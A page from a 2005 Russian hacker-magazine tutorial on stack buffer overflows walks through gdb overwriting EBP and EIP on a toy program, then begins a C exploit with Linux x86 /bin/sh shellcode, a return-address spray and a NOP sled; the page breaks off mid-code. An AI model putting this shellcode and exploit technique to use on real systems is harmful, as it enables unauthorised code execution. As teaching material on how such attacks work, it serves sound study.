Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #58, СЕНТЯБРЬ 2005 г.

Сокрушительная атака

Андрей Семенюченко

Спецвыпуск: Хакер, номер #058, стр. 058-010-4


Отладчик всему голова

Итак, переполнение буфера (в данном случае стека) свершилось. Но как использовать уязвимость программы в своих корыстных целях? Для лучшего понимания воспользуемся популярным отладчиком gdb.

gdb ./simple

Данная команда позволяет войти в интерактивный режим отладчика. Теперь запустим программу ./simple с необходимыми параметрами:

r `perl –e ‘print “X”x524’`

Получим сообщение вида: Program received signal SIGSEGV, Segmentation fault.

На следующем шаге рассмотрим содержание регистров процессора, введя i r:

листинг

eax 0x0 0

ecx 0x4212ee20 1108536864

edx 0x11f 287

ebx 0x42130a14 1108544020

esp 0xbfffdf00 0xbfffdf00

ebp 0x58585858 0x58585858

esi 0x40015360 1073828704

edi 0x80483d9 134513625

eip 0x42015501 0x42015501

eflags 0x10202 66050

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x33 51

В данном случае нас интересует значение регистров ebp и eip.

Регистр EBP - это регистр, который указывает на текущий фрейм стека. С его помощью мы можем обращаться к данным в стеке.

Регистр EIP содержит смещение следующей команды, которую нужно выполнить.

Значение ebp, как ты видишь, полностью затерто символом "X" (0x58 в шестнадцатеричном формате). В eip, напротив, содержится какой-то мусор. Для того чтобы перетереть и этот регистр, перегружаем наш буфер еще на четыре символа:

r `perl –e ‘print “X”x524’`ZZZZ

Среди прочих получено следующее значение регистра eip:

eip 0x5a5a5a5a 0x5a5a5a5a

Это означает, что eip сейчас заполнен символами "Z" в шестнадцатеричном формате. Основная же цель - заполнить этот регистр адресом шелл-кода, который мы хотим выполнить, и тогда программа не будет вываливаться в Segmentation fault, а в качестве следующей команды выполнит наш шелл-код.

Будь осторожен! Многие злоумышленники не публикуют свои эксплойты на публичных ресурсах. Поэтому, помимо периодического обновления системы, не забывай о других средствах безопасности.

Пишем эксплойт

Ну вот, в регистрах разобрались, как действовать, поняли, остается только написать соответствующий эксплойт. Посмотрим на код во врезке.

#define BUFFERSIZE 600 /* Уязвимый буфер + 100 байт */

/* linux x86 shellcode */

char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89

\x46\x0c\x89\x76\x08\xb0"

"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c

\xcd\x80\x29\xc0\x40\xcd"

"\x80\xe8\xde\xff\xff\xff/bin/sh";

unsigned long sp(void)

{

__asm__("movl %esp, %eax");

}

int main(int argc, char *argv[])

{

int i;

int offset=0;

long esp, ret, *addr_ptr;

char *buffer, *ptr, *osptr;

esp = sp();

/* получили указатель на стек */

ret = esp-offset;

/* получили адрес возврата */

/* выделяем память для буфера */

if(!(buffer = malloc(BUFFERSIZE))) {

printf("Couldn't allocate memory.\n");

exit(-1);

}

/* заполняем буфер адресом возврата */

ptr = buffer;

addr_ptr = (long *)ptr;

for(i=0; i<BUFFERSIZE; i+=4)

*(addr_ptr++) = ret;

/* заполняем первую половину буфера инструкцией NOP */

for(i=0; i<BUFFERSIZE/2; i++)

buffer[i] = '\x90';

Назад на стр. 058-010-3  Содержание  Вперед на стр. 058-010-5